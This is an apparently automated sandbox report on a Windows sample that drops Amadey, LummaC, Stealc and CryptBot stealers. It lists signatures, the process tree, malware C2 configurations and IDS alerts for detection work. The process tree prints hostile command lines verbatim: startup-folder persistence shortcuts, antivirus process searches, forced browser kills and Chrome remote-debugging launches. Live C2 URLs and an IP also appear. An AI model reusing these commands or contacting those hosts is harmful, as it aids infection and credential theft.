Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561837
MD5:	ae5752fee54caf5584f6eaba06a5ac69
SHA1:	1666ac18e71ec8b5ea5a0ddd00dde2dde9175df9
SHA256:	ec603a0936ee9833a10b2d9ad971eeab730399ea5b713bd6013550057873cbe8
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

DNS related to crypt mining pools

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files with a suspicious file extension

Drops large PE files

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: WScript or CScript Dropper

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4124 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AE5752FEE54CAF5584F6EABA06A5AC69)

skotes.exe (PID: 4320 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AE5752FEE54CAF5584F6EABA06A5AC69)

skotes.exe (PID: 3916 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE5752FEE54CAF5584F6EABA06A5AC69)

skotes.exe (PID: 7712 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE5752FEE54CAF5584F6EABA06A5AC69)

779ae05f2f.exe (PID: 7908 cmdline: "C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe" MD5: 6F3ABF72B45579AD895E717F3725D31D)

chrome.exe (PID: 7408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2224,i,1451387400477687369,13867640751301481737,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

fMb18eF.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe" MD5: 0155DBE368F2BBB8E0950A8C653D684D)

cmd.exe (PID: 4856 cmdline: "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4412 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3852 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3340 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 4124 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5016 cmdline: cmd /c md 662510 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 1396 cmdline: cmd /c copy /b ..\Cameras + ..\Webmaster + ..\Contained + ..\More + ..\Wow + ..\Kg + ..\Love + ..\Parameter + ..\Dallas + ..\Falls + ..\Principal + ..\Tft + ..\Enabling + ..\Id + ..\Raise + ..\Tests + ..\Fw + ..\Dist + ..\Optimum + ..\Editor + ..\Lady + ..\William + ..\Myers + ..\Distribution + ..\All + ..\Republicans + ..\Candidates + ..\Blond + ..\Bermuda + ..\Tablets + ..\Defend + ..\Statement + ..\Streams + ..\Extensive + ..\Ecommerce + ..\Tourist + ..\Transsexual + ..\Participation + ..\Strange + ..\Remedy + ..\Thursday + ..\Client + ..\Courts + ..\Malta + ..\Mel + ..\Quantitative A MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Ryan.com (PID: 6620 cmdline: Ryan.com A MD5: C63860691927D62432750013B5A20F5F)

cmd.exe (PID: 2180 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & echo URL="C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 6388 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

QwGWuQZ.exe (PID: 7196 cmdline: "C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe" MD5: C938C02A19091A3ACD044001631692C8)

cmd.exe (PID: 7236 cmdline: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3052 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7328 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5936 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6024 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7096 cmdline: cmd /c md 768032 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3844 cmdline: cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Finish.com (PID: 5472 cmdline: Finish.com G MD5: 62D09F076E6E0240548C2F837536A46A)

cmd.exe (PID: 6072 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 6384 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

3907f97605.exe (PID: 7488 cmdline: "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe" MD5: C7FFD9F68AF166BC332AD19BE70C3B5C)

3ee5495637.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe" MD5: 6AE8D6DBE0F7340866C08C3F7B65978A)

chrome.exe (PID: 3232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

04dc07bf76.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe" MD5: 9F60BC3CE0041CA8D6665C3D7BE1C33F)

taskkill.exe (PID: 884 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7332 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2540 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7112 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4612 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c7f41aa061.exe (PID: 1436 cmdline: "C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe" MD5: C5C5DFB5A92EE653B1A4C8B1590F62B3)

wscript.exe (PID: 5780 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

LionGuard.scr (PID: 2004 cmdline: "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr" "C:\Users\user\AppData\Local\GuardTech Solutions\K" MD5: C63860691927D62432750013B5A20F5F)

3907f97605.exe (PID: 4092 cmdline: "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe" MD5: C7FFD9F68AF166BC332AD19BE70C3B5C)

3ee5495637.exe (PID: 420 cmdline: "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe" MD5: 6AE8D6DBE0F7340866C08C3F7B65978A)

04dc07bf76.exe (PID: 5160 cmdline: "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe" MD5: 9F60BC3CE0041CA8D6665C3D7BE1C33F)

taskkill.exe (PID: 5928 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7428 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5116 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["home.fvtekk5pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000028.00000003.3414474083.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2880963508.00000000014D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3134050190.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3413732620.0000000000E07000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3006254804.00000000014D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1758282576.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000003.3061120785.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1671475529.0000000004860000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3414123368.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002E.00000003.3202171699.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.1719275653.0000000004870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1715277761.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.3101184514.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3360917053.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3354868759.0000000000E07000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2315217142.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.3133753282.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3417667895.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3421730928.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2936457568.00000000014D2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3101013930.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1759668971.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2880169055.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1717577963.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 3907f97605.exe PID: 7488	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3907f97605.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3907f97605.exe PID: 7488	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3ee5495637.exe PID: 2848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3ee5495637.exe PID: 2848	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3907f97605.exe PID: 4092	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 04dc07bf76.exe PID: 2300	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 3ee5495637.exe PID: 420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3ee5495637.exe PID: 420	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 04dc07bf76.exe PID: 5160	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7712, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3907f97605.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , ProcessId: 5780, ProcessName: wscript.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe, ParentProcessId: 7908, ParentProcessName: 779ae05f2f.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 7408, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7712, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3907f97605.exe

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\662510\Ryan.com, ProcessId: 6620, TargetFilename: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe, ParentProcessId: 8164, ParentProcessName: fMb18eF.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\662510\Ryan.com, ProcessId: 6620, TargetFilename: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" , ProcessId: 5780, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\cmd.exe, ProcessId: 2180, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4856, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 4124, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:53.526124+0100	2028371	3	Unknown Traffic	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:24:59.004298+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:25:02.940977+0100	2028371	3	Unknown Traffic	192.168.2.4	49887	104.21.33.116	443	TCP
2024-11-24T12:25:07.601743+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	104.21.33.116	443	TCP
2024-11-24T12:25:11.344744+0100	2028371	3	Unknown Traffic	192.168.2.4	49908	104.21.33.116	443	TCP
